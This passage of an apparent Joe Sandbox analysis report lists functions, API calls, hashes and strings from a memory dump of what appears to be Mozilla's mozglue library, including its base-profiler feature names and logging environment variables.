Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: fa2dfabdee32c04fbefed09ffb724677cdcdf9da794df16ac8303742ba269558
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FBB1D672E0011ACFDB14CF98CC806ADB7B6EF95314F150269C949EB795D731E98ACB90

Function 6C9A50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 67007219e1354b6ed2fbf08a3a29d1d14f3d20306d073b519c36d202caab0ffb
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C6A1E672A001178FCB14CFA8CC807A9B7B6EF95314F1542B9C949EB785D731E98ACB90

Function 6C9877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C987A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C987A93

Part of subcall function 6C955C50: GetTickCount64.KERNEL32 ref: 6C955D40
Part of subcall function 6C955C50: EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C987AA1

Part of subcall function 6C955C50: __aulldiv.LIBCMT ref: 6C955DB4
Part of subcall function 6C955C50: LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C987B31

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction ID: e0fd00b068a93ab4d028554bc4a64146007afc8bfe58b745b916da0a99aa24a1
Opcode Fuzzy Hash: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction Fuzzy Hash: 57B189357093808BCB14CE24C49069FB7E2BFD9718F654E1CE99567B91DB70E90ACB82

Function 6C976CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C976D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976E1E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction ID: c8503ad23c6130a3417bbbca85725a6315f0da4d54eda8c11bd721a338d81d77
Opcode Fuzzy Hash: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction Fuzzy Hash: 73A18E706193808FDB25CF24C4907AEFBE6BF99308F55491DE88A87751DB70E948CB92

Function 6C99B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C99B720
RtlNtStatusToDosError.NTDLL ref: 6C99B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C96FE3F,00000000,00000000,?,?,00000000,?,6C96FE3F), ref: 6C99B760

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction ID: e8a93142ea8a16a046d022c93f35c109bc64ae1eec998ac2ae2401b707736469
Opcode Fuzzy Hash: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction Fuzzy Hash: 0BF0C2B0A0420CBEEF119AE1CC84BEF77BF9B18719F145229E511659C0D778D6CCC660

Function 6C954640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C954777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C955585, 6C9555A8, 6C9555C3, 6C955624

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction ID: 5879363d572d7bcc045e76c7c8f9990b536425f88c4387990c379f13da910890
Opcode Fuzzy Hash: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction Fuzzy Hash: 4AB28D71A057018FC708CF19C590715BBE6BFC5328F69C7ADE46A8B6A6D731E861CB80

Function 6C9985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C998C7C
__aulldiv.LIBCMT ref: 6C998DD7

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 95a7a17f50ff80a8046c5207491f85d1efb8739ec71ff9846c23253a1b5b0487
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E325C71F0111A8BDB1CCE9CC8A17BEB7B6FB88300F19852ED506BB790DA349D458B95

Function 6C99B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9403D4,?), ref: 6C99B955
NtQueryVirtualMemory.NTDLL ref: 6C99B9A5

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction ID: 434743d705a8ced4b89ba6a149d801241e9bd42fba7ce2c29f4a8dfaf72d65d8
Opcode Fuzzy Hash: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction Fuzzy Hash: 2741B371E0121D9FDF14CFA9D890ADEB7B9EF88358F14812AE505A7B44DB34DC458B90

Function 6C975C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C944A63,?,?), ref: 6C975F06

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction ID: 5924fb14ec61a55e7ed2ca273a6bcca6c1f210d431c4e7d5f6b8bfc710cce66a
Opcode Fuzzy Hash: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction Fuzzy Hash: 74C1F275E022099BCB24CF95C5907EEBBF6FF89318F28415DD8556BB44D732A806CBA0

Function 6C93DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction ID: 9fe8dbd35f4fe48a67d19b78ad460aa05036bf3aec0ad5de4c14ae9365e36e54
Opcode Fuzzy Hash: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction Fuzzy Hash: 5642A172A087518BD304CE3CC49175AB3E2BFC9364F199B2DE999A7790DB34DD418B82

Function 6C9A76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ca53c2b7399ee0ca465fb76aa116854f4419754f8dbf2f1e3d4a1f80840101c0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AD32FA71E0061A8FCB14CF99C891AADFBF6FF88304F548169C549A7749D731A986CF90

Function 6C9A6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 26cff432c6bf7d0ffcb6f2e2e27f16ed458dc96d990ff2a1125cd892639c8b0b
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7722E771E006198FCB14CF98C881AADF7F6FF88304F6585AAC949A7745D731A986CF90

Function 6C960512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d94f58ee42fb5d02735b99932e1db69094a25bb8d1a26329b756513ab0a021dd
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: F3221671E00669CFDB14CF99C890AADF7B2FF89304F548299C44AA7B45D731A986CF80

Function 6C9AAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction ID: efdacf0aab62df6c7f231ce5f765db74b08006f81168c1e8fe6ec234656f0a5c
Opcode Fuzzy Hash: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction Fuzzy Hash: 7BF16C716083459FD700CEA8C8903AFB7E6AFD5318F158A2DE4D4877C1EB74D84A8B92

Function 6C93C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 2a4494f1a7a4f43f703d8d1440dce5a5b512f2b715059b34582010fb00ec29e1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 8EA1A375F0062A8BDB08CE69C8913AEB7F2AFC8354F158269DD19E7781D7349D068BD0

Function 6C977710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction ID: 9420fb9d48113bd6b4fe2f260b8a1df4adb18b37253b677d368e0ef63385287b
Opcode Fuzzy Hash: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction Fuzzy Hash: 84716D75E022198FCF19CFA9C8905EEBBB6FF89314F24816ED415AB740D735A905CBA0

Function 6C9758E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction ID: d5826cf4376cc13c324a24c2a2065edeb81daad39b5042cd3690b0f8e59e7a90
Opcode Fuzzy Hash: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction Fuzzy Hash: 55818C75A022199FCB14CFA8D8809EEBBF6FF89314F644269E411BB741D731E945CBA0

Function 6C97CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C94582D), ref: 6C97CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C94582D), ref: 6C97CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9AFE98,?,?,?,?,?,6C94582D), ref: 6C97CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C97CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C97CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C97CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C97CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C97CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C97CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C97CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C97CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C97CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C97CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C97CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C97CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C97CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C97CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C97CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C97CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C97CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C97CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C97CEA0
ipcmessages, xrefs: 6C97CDBE
screenshots, xrefs: 6C97CCD4
jsallocations, xrefs: 6C97CD0E
nostacksampling, xrefs: 6C97CD7C
power, xrefs: 6C97CE84
nativeallocations, xrefs: 6C97CDA8
unregisteredthreads, xrefs: 6C97CE58
audiocallbacktracing, xrefs: 6C97CDD4
stackwalk, xrefs: 6C97CCF8
default, xrefs: 6C97CC21
java, xrefs: 6C97CC37
preferencereads, xrefs: 6C97CD92
processcpu, xrefs: 6C97CE6E
fileio, xrefs: 6C97CC92
notimerresolutionchange, xrefs: 6C97CE00
markersallthreads, xrefs: 6C97CE42
fileioall, xrefs: 6C97CCA8
samplingallthreads, xrefs: 6C97CE2C
seqstyle, xrefs: 6C97CCE6
cpuallthreads, xrefs: 6C97CE16
mainthreadio, xrefs: 6C97CC7C
noiostacks, xrefs: 6C97CCBE
leaf, xrefs: 6C97CC66

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction ID: a4d03bab346c1a1f50eca770fe61259e5c526608c654671fc60b60eeaa79f28f
Opcode Fuzzy Hash: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction Fuzzy Hash: 3451B9C1B0762662FB2031556E10BAB244DEFB325AF10443AED09A5F80FF45E61B86B7

Function 6C9447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C944801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C944817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C94482D
__Init_thread_footer.LIBCMT ref: 6C94484A

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

GetCurrentThreadId.KERNEL32 ref: 6C94485F
GetCurrentThreadId.KERNEL32 ref: 6C94487E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94488B
free.MOZGLUE(?), ref: 6C94493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C944956
free.MOZGLUE(00000000), ref: 6C944960
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94499A

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
